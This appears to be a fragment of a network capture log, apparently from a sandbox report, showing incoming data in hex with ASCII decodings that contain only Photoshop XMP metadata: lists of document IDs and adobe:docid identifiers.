2022-07-01 09:01:55 UTC 4315 IN Data Raw: 45 34 38 34 46 31 37 46 37 33 30 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 31 33 43 38 
45 31 33 31 33 33 46 34 44 41 37 34 38 39 44 33 45 41 31 31 37 30 31 33 30 38 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 35 31 34 42 36 43 36 34 45 31 35 36 34 32 42 44 42 33 36 37 46 32 45 39 44 46 34 35 30 36 35 45 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 31 36 35 46 46 34 43 32 30 42 44 32 43 30 34 34 37 43 31 43 44 
45 44 32 39 33 34 36 42 34 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 31 36 46 34 35 46 44 38 41 34 
36 42 41 44 43 37 39 34 45 41 30 44 36 45 45 31 43 37 45 41 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
35 31 38 30 34 36 35 32 45 34 37 36 31 30 41 31 37 31 45 46 46 30 43 46 
Data Ascii: E484F17F730DD</rdf:li> <rdf:li>513C8E13133F4DA7489D3EA117013087</rdf:li> <rdf:li>514B6C6
4E15642BDB367F2E9DF45065E</rdf:li> <rdf:li>5165FF4C20BD2C0447C1CDED29346B41</rdf:li> <rdf:li>516F45F
D8A46BADC794EA0D6EE1C7EAA</rdf:li> <rdf:li>51804652E47610A171EFF0CF

2022-07-01 09:01:55 UTC 4339 IN Data Raw: 42 44 46 46 39 31 34 43 43 37 34 33 43 37 33 46 42 38 39 36 45 43 32 30 46 37 32 45 42 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 35 46 41 32 31 39 42 34 36 32 45 41 34 31 35 30 33 44 31 41 36 42 42 32 31 35 37 44 
39 44 43 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 46 41 38 33 43 45 32 37 32 43 44 31 44 38 39 33 
45 30 43 44 31 45 42 31 41 38 35 39 45 38 36 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 46 42 33 42 31 4
4 31 44 33 42 45 45 33 33 35 44 44 44 34 38 32 30 37 31 31 33 42 30 38 45 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 35 46 44 30 38 34 39 37 41 36 38 45 34 31 31 46 37 38 31 33 41 42 45 42 44 46 45 42 42 33 44 38 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 35 46 44 32 38 34 32 30 
Data Ascii: BDFF914CC743C73FB896EC20F72EB</rdf:li> <rdf:li>5FA219B462EA41503D1A6BB2157D9DC6</rdf:li> 
<rdf:li>5FA83CE272CD1D893E0CD1EB1A859E86</rdf:li> <rdf:li>5FB3B1D1D3BEE335DDD48207113B08EA</rdf:li> 
<rdf:li>5FD08497A68E411F7813ABEBDFEBB3D8</rdf:li> <rdf:li>5FD28420

2022-07-01 09:01:55 UTC 4355 IN Data Raw: 37 33 30 37 44 32 43 36 45 44 30 34 46 36 36 45 33 33 44 37 38 41 33 34 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 36 44 44 34 36 35 31 37 39 42 41 35 38 34 41 35 36 39 46 45 42 44 30 35 46 41 30 39 31 32 35 33 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 44 44 36 38 33 42 32 33 42 34 34 37 30 35 46 36 42 38 35 44 36 
41 36 44 44 33 31 44 43 46 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 44 44 44 39 45 43 45 36 34 41 4
3 30 34 33 44 39 35 41 43 32 38 42 38 38 35 35 41 45 42 30 31 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 36 
45 30 35 34 35 39 45 44 42 37 39 37 43 41 41 41 41 38 35 38 43 30 37 35 36 34 35 38 37 41 38 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 36 45 30 38 46 41 34 44 32 34 35 31 33 
Data Ascii: 7307D2C6ED04F66E33D78A34</rdf:li> <rdf:li>6DD465179BA584A569FEBD05FA091253</rdf:li> <rdf
:li>6DD683B23B44705F6B85D6A6DD31DCF2</rdf:li> <rdf:li>6DDD9ECE64AC043D95AC28B8855AEB01</rdf:li> <rdf
:li>6E05459EDB797CAAAA858C07564587A8</rdf:li> <rdf:li>6E08FA4D24513

2022-07-01 09:01:55 UTC 4394 IN Data Raw: 38 34 36 37 38 32 44 41 38 33 33 35 37 32 33 34 45 44 31 46 36 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 37 35 32 39 44 38 41 41 39 41 38 30 37 41 46 44 46 35 35 33 41 32 30 43 44 37 31 32 44 39 39 31 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 33 43 38 34 41 31 36 33 35 33 41 31 30 31 32 43 44 42 35 41 41 35 
43 44 38 45 36 41 39 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 34 30 30 35 34 44 38 44 34 46 45 4
4 35 45 41 46 41 34 38 34 38 46 37 37 35 41 36 36 35 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 37 35 34 
30 33 45 44 36 31 46 37 44 42 37 42 42 43 41 41 37 44 30 31 42 31 32 37 45 38 42 42 36 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 37 35 36 32 42 46 42 44 36 46 32 33 44 46 35 
Data Ascii: 846782DA83357234ED1F69</rdf:li> <rdf:li>7529D8AA9A807AFDF553A20CD712D991</rdf:li> <rdf:l
i>753C84A16353A1012CDB5AA5CD8E6A9B</rdf:li> <rdf:li>7540054D8D4FED5EAFA4848F775A665C</rdf:li> <rdf:l
i>75403ED61F7DB7BBCAA7D01B127E8BB6</rdf:li> <rdf:li>7562BFBD6F23DF5

2022-07-01 09:01:55 UTC 4442 IN Data Raw: 64 66 3a 6c 69 3e 38 32 41 37 30 37 45 37 34 43 43 30 30 42 39 39 43 37 36 31 43 32 39 42 38 38 46 45 32 
41 43 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 32 41 45 34 39 45 32 36 43 32 42 31 34 42 33 38 38 
41 39 37 38 30 30 31 41 37 43 41 34 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 32 41 45 34 44 42 3
7 35 42 33 35 38 31 39 45 30 44 42 38 34 31 42 42 33 41 33 44 33 32 32 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 
6c 69 3e 38 32 43 34 30 34 42 36 31 44 33 37 36 31 32 38 41 33 41 43 33 37 37 31 30 45 43 34 35 30 32 37 3c 2f 72 64 
66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 32 44 34 41 46 33 33 35 36 37 43 45 44 32 34 36 32 31 37 30 32 45 42 43 
41 45 45 46 38 30 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
Data Ascii: df:li>82A707E74CC00B99C761C29B88FE2AC0</rdf:li> <rdf:li>82AE49E26C2B14B388A978001A7CA4DB
</rdf:li> <rdf:li>82AE4DB75B35819E0DB841BB3A3D322D</rdf:li> <rdf:li>82C404B61D376128A3AC37710EC45027
</rdf:li> <rdf:li>82D4AF33567CED24621702EBCAEEF80A</rdf:li> <rdf:li

2022-07-01 09:01:55 UTC 4474 IN Data Raw: 34 33 41 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 46 37 38 33 43 32 35 39 42 31 42 41 45 
30 30 31 37 30 36 37 37 33 42 44 38 31 38 31 44 38 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 46 39 
34 46 46 41 43 31 30 43 44 35 41 33 37 33 45 39 38 30 46 43 35 42 31 46 41 31 36 43 34 3c 2f 72 64 66 3a 6c 69 3e 20 
3c 72 64 66 3a 6c 69 3e 38 46 39 35 42 39 43 42 33 41 30 34 31 37 34 34 41 44 38 38 39 46 33 38 41 39 39 35 43 42 34 
35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 46 41 32 32 32 37 34 41 35 36 36 30 39 43 33 45 35 46 32 
43 38 32 42 46 32 45 43 30 39 42 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 38 46 41 42 37 38 36 35 38 
37 45 38 32 31 46 30 38 41 30 43 38 43 42 30 36 46 44 36 34 44 39 46 3c 
Data Ascii: 43A7</rdf:li> <rdf:li>8F783C259B1BAE001706773BD8181D88</rdf:li> <rdf:li>8F94FFAC10CD5A37
3E980FC5B1FA16C4</rdf:li> <rdf:li>8F95B9CB3A041744AD889F38A995CB45</rdf:li> <rdf:li>8FA22274A56609C3
E5F2C82BF2EC09B8</rdf:li> <rdf:li>8FAB786587E821F08A0C8CB06FD64D9F<
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2022-07-01 09:01:55 UTC 4514 IN Data Raw: 36 37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 36 46 43 42 39 42 45 44 35 41 44 35 32 30 30 
34 44 30 34 38 35 43 32 44 34 33 39 33 32 38 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 37 31 44 39 
32 31 37 38 34 41 34 33 39 31 45 31 45 45 41 32 31 45 30 34 30 34 41 30 42 44 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 39 37 33 38 41 37 39 30 42 46 33 37 43 34 36 44 30 43 34 46 36 45 44 44 32 42 46 38 42 32 39 42 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 37 34 34 32 35 31 46 39 37 41 45 39 32 36 31 42 35 46 43 35 38 
34 32 34 31 32 32 32 31 39 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 39 37 34 38 36 44 34 44 46 43 37 
36 37 38 36 33 33 45 38 30 37 46 45 45 31 31 42 45 38 32 37 30 3c 2f 72 
Data Ascii: 67</rdf:li> <rdf:li>96FCB9BED5AD52004D0485C2D4393282</rdf:li> <rdf:li>971D921784A4391E1E
EA21E0404A0BDB</rdf:li> <rdf:li>9738A790BF37C46D0C4F6EDD2BF8B29B</rdf:li> <rdf:li>9744251F97AE9261B5
FC584241222195</rdf:li> <rdf:li>97486D4DFC7678633E807FEE11BE8270</r

2022-07-01 09:01:55 UTC 4546 IN Data Raw: 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 34 32 37 45 37 32 31 44 41 43 46 44 46 33 45 33 45 31 42 
46 39 39 39 38 43 37 44 36 44 30 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 34 33 45 33 36 36 36 31 
44 35 44 39 38 38 45 42 45 41 42 36 42 35 31 42 44 41 45 37 43 44 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 6
9 3e 41 34 35 38 30 37 44 38 41 45 35 45 35 41 45 34 31 33 32 37 32 44 31 42 46 34 39 33 33 44 37 46 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 34 36 32 35 34 41 37 31 36 38 35 39 31 37 39 33 44 38 31 46 31 46 42 34 39 
42 31 36 45 36 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 41 34 36 32 46 32 37 37 43 35 43 41 36 36 31 
30 36 41 38 42 41 46 44 43 46 32 33 35 46 39 42 33 3c 2f 72 64 66 3a 6c 69 
Data Ascii: df:li> <rdf:li>A427E721DACFDF3E3E1BF9998C7D6D0E</rdf:li> <rdf:li>A43E36661D5D988EBEAB6B5
1BDAE7CD9</rdf:li> <rdf:li>A45807D8AE5E5AE413272D1BF4933D7F</rdf:li> <rdf:li>A46254A7168591793D81F1F
B49B16E6A</rdf:li> <rdf:li>A462F277C5CA66106A8BAFDCF235F9B3</rdf:li

2022-07-01 09:01:55 UTC 4586 IN Data Raw: 43 32 42 30 46 34 45 35 34 30 42 33 30 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 31 42 30 37 
32 44 30 30 41 33 31 41 36 34 44 37 39 33 35 42 34 42 41 32 45 32 44 33 39 38 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 42 31 42 35 37 37 35 43 43 34 30 44 35 37 32 44 34 38 41 33 43 44 45 43 31 30 36 34 46 45 32 35 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 31 42 36 38 46 31 39 42 42 36 31 37 39 42 37 44 38 35 45 36 35 
43 39 37 38 43 32 39 45 30 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 31 44 33 44 30 45 33 34 32 43 
34 35 33 41 35 45 43 39 34 37 45 43 32 37 44 38 37 42 41 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
42 31 44 41 46 38 44 33 37 37 36 41 43 30 32 37 44 39 43 32 33 42 37 41 
Data Ascii: C2B0F4E540B30</rdf:li> <rdf:li>B1B072D00A31A64D7935B4BA2E2D3989</rdf:li> <rdf:li>B1B5775
CC40D572D48A3CDEC1064FE25</rdf:li> <rdf:li>B1B68F19BB6179B7D85E65C978C29E09</rdf:li> <rdf:li>B1D3D0E
342C453A5EC947EC27D87BA7B</rdf:li> <rdf:li>B1DAF8D3776AC027D9C23B7A

2022-07-01 09:01:55 UTC 4593 IN Data Raw: 45 32 35 35 43 46 39 30 45 45 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 30 39 35 39 41 
42 32 45 41 35 46 34 46 33 41 38 36 38 43 42 37 35 46 43 43 34 34 33 31 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 42 38 30 41 38 43 36 30 42 41 46 46 33 34 37 46 45 31 41 31 37 31 38 37 42 46 31 32 37 46 46 39 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 32 37 44 45 43 33 35 38 45 43 41 42 36 39 34 32 45 36 36 39 32 42 
43 43 33 33 37 37 43 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 33 32 44 33 34 37 44 34 37 35 39 
42 37 45 33 44 30 44 41 45 43 43 38 31 42 32 44 30 37 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 38 
35 44 36 41 45 46 43 42 37 34 37 42 43 36 39 31 43 30 46 37 31 38 31 46 
Data Ascii: E255CF90EEF</rdf:li> <rdf:li>B80959AB2EA5F4F3A868CB75FCC44319</rdf:li> <rdf:li>B80A8C60B
AFF347FE1A17187BF127FF9</rdf:li> <rdf:li>B827DEC358ECAB6942E6692BCC3377CA</rdf:li> <rdf:li>B832D347D
4759B7E3D0DAECC81B2D07B</rdf:li> <rdf:li>B85D6AEFCB747BC691C0F7181F

2022-07-01 09:01:55 UTC 4603 IN Data Raw: 42 46 31 31 36 36 38 35 46 38 42 32 35 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 34 46 45 
41 36 46 43 37 34 36 36 38 36 45 46 31 31 36 33 42 32 43 43 34 34 34 46 38 36 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 42 39 35 43 45 35 30 30 32 46 43 44 33 42 30 39 31 36 36 46 30 37 41 31 35 45 30 33 44 45 41 38 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 36 39 39 32 34 41 37 31 32 46 33 42 39 38 33 35 43 46 33 46 
37 35 30 37 46 32 37 31 45 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 42 39 37 34 41 34 44 41 34 42 39 
32 33 43 35 39 30 43 36 36 33 32 45 37 41 45 35 41 44 38 46 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 
42 39 37 46 35 46 30 34 38 41 34 43 42 42 34 35 33 34 39 38 45 31 46 42 
Data Ascii: BF116685F8B25</rdf:li> <rdf:li>B94FEA6FC746686EF1163B2CC444F868</rdf:li> <rdf:li>B95CE50
02FCD3B09166F07A15E03DEA8</rdf:li> <rdf:li>B969924A712F3B9835CF3F7507F271EF</rdf:li> <rdf:li>B974A4D
A4B923C590C6632E7AE5AD8F3</rdf:li> <rdf:li>B97F5F048A4CBB453498E1FB

2022-07-01 09:01:55 UTC 4619 IN Data Raw: 32 36 38 39 39 36 38 32 42 38 41 32 44 45 32 42 33 37 30 35 44 32 35 30 45 30 43 32 39 3c 2f 72 64 66 3a 6c 
69 3e 20 3c 72 64 66 3a 6c 69 3e 43 37 41 32 43 39 41 33 34 45 46 44 33 34 32 38 43 31 33 31 39 44 46 45 35 46 32 45 
36 41 39 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 37 41 42 42 34 32 39 46 35 31 43 38 45 41 37 45 
32 36 32 31 30 33 36 41 41 30 39 30 36 39 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 37 42 32 38 38 3
7 33 36 30 30 33 39 43 39 37 42 37 34 38 32 34 43 33 30 39 36 31 39 41 34 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 43 37 42 39 33 41 38 46 44 43 44 30 33 42 46 36 30 46 33 32 39 45 36 36 33 46 37 33 45 36 37 43 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 43 37 43 32 32 43 45 38 
Data Ascii: 26899682B8A2DE2B3705D250E0C29</rdf:li> <rdf:li>C7A2C9A34EFD3428C1319DFE5F2E6A9F</rdf:li> 
<rdf:li>C7ABB429F51C8EA7E2621036AA09069E</rdf:li> <rdf:li>C7B2887360039C97B74824C309619A49</rdf:li> 
<rdf:li>C7B93A8FDCD03BF60F329E663F73E67C</rdf:li> <rdf:li>C7C22CE8

2022-07-01 09:01:55 UTC 4667 IN Data Raw: 38 35 30 38 35 41 36 46 39 36 33 30 36 34 30 36 39 38 42 32 43 41 46 38 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 44 34 39 32 36 45 31 34 32 30 31 46 37 31 33 44 43 35 46 39 32 39 30 41 30 42 34 44 31 32 44 39 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 34 39 46 32 43 30 46 44 39 38 35 35 31 43 42 43 46 31 33 31 31 
43 46 46 33 36 33 33 37 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 34 41 32 31 34 35 41 32 35 46 3
5 43 36 32 31 37 39 31 36 45 36 39 34 45 44 38 34 39 43 39 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 
34 42 35 33 45 45 38 31 43 36 36 43 43 36 43 30 43 39 45 33 37 32 30 41 37 30 32 35 45 34 45 3c 2f 72 64 66 3a 6c 69 
3e 20 3c 72 64 66 3a 6c 69 3e 44 34 42 37 41 45 39 32 44 36 30 36 32 
Data Ascii: 85085A6F9630640698B2CAF8</rdf:li> <rdf:li>D4926E14201F713DC5F9290A0B4D12D9</rdf:li> <rdf
:li>D49F2C0FD98551CBCF1311CFF36337AB</rdf:li> <rdf:li>D4A2145A25F5C6217916E694ED849C9D</rdf:li> <rdf
:li>D4B53EE81C66CC6C0C9E3720A7025E4E</rdf:li> <rdf:li>D4B7AE92D6062

2022-07-01 09:01:55 UTC 4689 IN Data Raw: 31 41 34 36 44 37 32 38 30 36 33 43 43 31 38 43 39 46 44 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 
69 3e 44 39 41 42 35 44 31 34 44 30 33 32 39 33 42 42 46 32 43 34 44 46 44 38 43 32 36 44 31 44 37 33 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 39 43 38 30 32 43 34 38 38 31 38 32 35 35 35 44 37 38 41 45 31 43 36 36 43 
34 41 32 39 42 33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 39 44 43 42 30 32 35 32 35 46 43 41 35 43 3
0 36 46 38 41 45 45 42 37 46 31 38 37 38 46 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 44 39 45 36 45 
30 45 43 46 33 44 39 37 44 39 42 42 44 39 42 41 31 33 44 39 39 43 38 34 41 32 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 44 39 45 44 31 46 34 37 43 45 32 38 31 42 45 46 31 
Data Ascii: 1A46D728063CC18C9FDD</rdf:li> <rdf:li>D9AB5D14D03293BBF2C4DFD8C26D1D73</rdf:li> <rdf:li>
D9C802C488182555D78AE1C66C4A29B3</rdf:li> <rdf:li>D9DCB02525FCA5C06F8AEEB7F1878F2A</rdf:li> <rdf:li>
D9E6E0ECF3D97D9BBD9BA13D99C84A2A</rdf:li> <rdf:li>D9ED1F47CE281BEF1
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2022-07-01 09:01:55 UTC 4729 IN Data Raw: 3a 6c 69 3e 45 37 34 34 44 34 44 37 31 45 42 45 39 34 42 46 37 37 41 43 34 43 34 38 37 37 34 34 34 38 31 
33 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 37 34 41 31 31 41 39 38 35 38 44 45 42 33 30 35 46 31 34 
30 45 46 32 32 43 43 43 30 42 45 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 37 36 34 43 45 32 44 30 3
0 30 45 38 41 41 45 45 31 38 46 35 35 46 43 38 32 35 43 35 36 43 43 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 
3e 45 37 36 43 38 43 31 45 38 34 41 34 32 38 31 36 42 31 33 33 33 34 34 37 46 41 44 36 39 41 34 44 3c 2f 72 64 66 3a 
6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 37 37 36 34 44 39 31 38 35 32 46 43 44 30 42 34 34 41 35 43 37 30 34 37 33 44 
34 43 33 43 44 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 45 
Data Ascii: :li>E744D4D71EBE94BF77AC4C4877444813</rdf:li> <rdf:li>E74A11A9858DEB305F140EF22CCC0BEB</
rdf:li> <rdf:li>E764CE2D000E8AAEE18F55FC825C56CC</rdf:li> <rdf:li>E76C8C1E84A42816B1333447FAD69A4D</
rdf:li> <rdf:li>E7764D91852FCD0B44A5C70473D4C3CD</rdf:li> <rdf:li>E

2022-07-01 09:01:55 UTC 4761 IN Data Raw: 38 46 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 32 42 37 32 36 31 44 32 39 30 44 46 36 38 31 
41 39 33 37 39 32 30 34 31 33 43 31 43 43 31 32 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 32 42 45 41 
43 42 39 37 31 32 33 36 46 33 31 39 37 39 33 38 30 44 43 39 46 42 30 31 38 41 42 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 
64 66 3a 6c 69 3e 46 32 43 39 44 35 45 39 30 44 34 34 46 33 30 30 36 45 41 38 30 33 31 39 32 31 44 43 35 33 32 39 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 32 44 33 37 38 31 32 38 45 35 36 37 43 44 33 45 38 45 31 39 39 
42 42 30 45 37 46 31 30 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 32 45 33 37 32 45 45 33 31 32 
34 42 39 32 42 36 34 38 44 42 45 30 31 42 41 38 31 32 45 41 41 3c 2f 72 
Data Ascii: 8F</rdf:li> <rdf:li>F2B7261D290DF681A937920413C1CC12</rdf:li> <rdf:li>F2BEACB971236F3197
9380DC9FB018AB</rdf:li> <rdf:li>F2C9D5E90D44F3006EA8031921DC5329</rdf:li> <rdf:li>F2D378128E567CD3E8
E199BB0E7F103A</rdf:li> <rdf:li>F2E372EE3124B92B648DBE01BA812EAA</r

2022-07-01 09:01:55 UTC 4768 IN Data Raw: 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 39 32 39 30 34 31 46 34 37 45 43 35 33 33 36 45 43 
33 45 32 46 43 43 41 42 46 32 38 45 33 41 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 39 33 39 36 33 35 
39 44 42 37 43 36 41 35 33 35 35 39 34 36 43 44 38 33 33 37 34 45 43 41 45 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 
3a 6c 69 3e 46 39 34 36 38 35 46 45 38 32 34 37 45 35 33 31 37 30 32 42 34 31 39 39 35 43 32 34 34 30 39 39 3c 2f 72 
64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 39 35 41 33 42 33 37 41 44 35 31 39 39 46 31 44 36 41 30 32 37 46 32 
32 30 44 32 31 32 45 39 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 46 39 35 41 34 35 32 44 34 37 43 43 43 
35 35 46 37 34 32 32 45 43 45 45 44 37 32 32 46 39 42 42 3c 2f 72 64 66 
Data Ascii: </rdf:li> <rdf:li>F929041F47EC5336EC3E2FCCABF28E3A</rdf:li> <rdf:li>F9396359DB7C6A535594
6CD83374ECAE</rdf:li> <rdf:li>F94685FE8247E531702B41995C244099</rdf:li> <rdf:li>F95A3B37AD5199F1D6A0
27F220D212E9</rdf:li> <rdf:li>F95A452D47CCC55F7422ECEED722F9BB</rdf

2022-07-01 09:01:55 UTC 4808 IN Data Raw: 64 65 64 63 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 
6f 74 6f 73 68 6f 70 3a 31 39 66 33 33 39 38 30 2d 38 32 31 62 2d 31 31 64 62 2d 38 64 36 64 2d 63 39 34 37 39 64 39 
38 30 30 38 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 
73 68 6f 70 3a 31 61 30 62 37 35 61 37 2d 64 39 38 66 2d 31 31 37 38 2d 61 32 30 64 2d 61 66 32 65 66 39 63 31 39 37 
64 66 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 
70 3a 31 61 32 37 61 34 39 32 2d 34 61 61 66 2d 31 31 37 38 2d 61 32 34 63 2d 66 31 30 32 63 35 38 30 64 64 32 37 3c 
2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 
Data Ascii: dedc</rdf:li> <rdf:li>adobe:docid:photoshop:19f33980-821b-11db-8d6d-c9479d98008f</rdf:li> <rdf:li>
adobe:docid:photoshop:1a0b75a7-d98f-1178-a20d-af2ef9c197df</rdf:li> <rdf:li>adobe:docid:photoshop:1a27a492-4aaf-
1178-a24c-f102c580dd27</rdf:li> <rdf:li>adobe

2022-07-01 09:01:55 UTC 4824 IN Data Raw: 34 39 37 65 38 30 38 30 2d 64 38 33 32 2d 31 31 65 36 2d 38 63 31 31 2d 64 31 32 30 61 30 63 65 37 35 62 
37 3c 2f 72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 
3a 34 39 38 34 31 30 35 35 2d 31 32 62 34 2d 31 31 65 38 2d 62 65 39 32 2d 64 61 35 34 62 32 34 38 32 32 33 39 3c 2f 
72 64 66 3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 39 
39 39 38 62 62 37 2d 33 34 30 36 2d 31 31 37 38 2d 62 66 32 36 2d 64 62 37 36 30 36 38 30 31 61 34 34 3c 2f 72 64 66 
3a 6c 69 3e 20 3c 72 64 66 3a 6c 69 3e 61 64 6f 62 65 3a 64 6f 63 69 64 3a 70 68 6f 74 6f 73 68 6f 70 3a 34 61 35 39 30 
34 36 30 2d 66 31 65 33 2d 31 31 65 37 2d 61 62 31 30 2d 62 37 36 
Data Ascii: 497e8080-d832-11e6-8c11-d120a0ce75b7</rdf:li> <rdf:li>adobe:docid:photoshop:49841055-12b4-11e8-be92-
da54b2482239</rdf:li> <rdf:li>adobe:docid:photoshop:49998bb7-3406-1178-bf26-db7606801a44</rdf:li> <rdf:li>ad
obe:docid:photoshop:4a590460-f1e3-11e7-ab10-b76

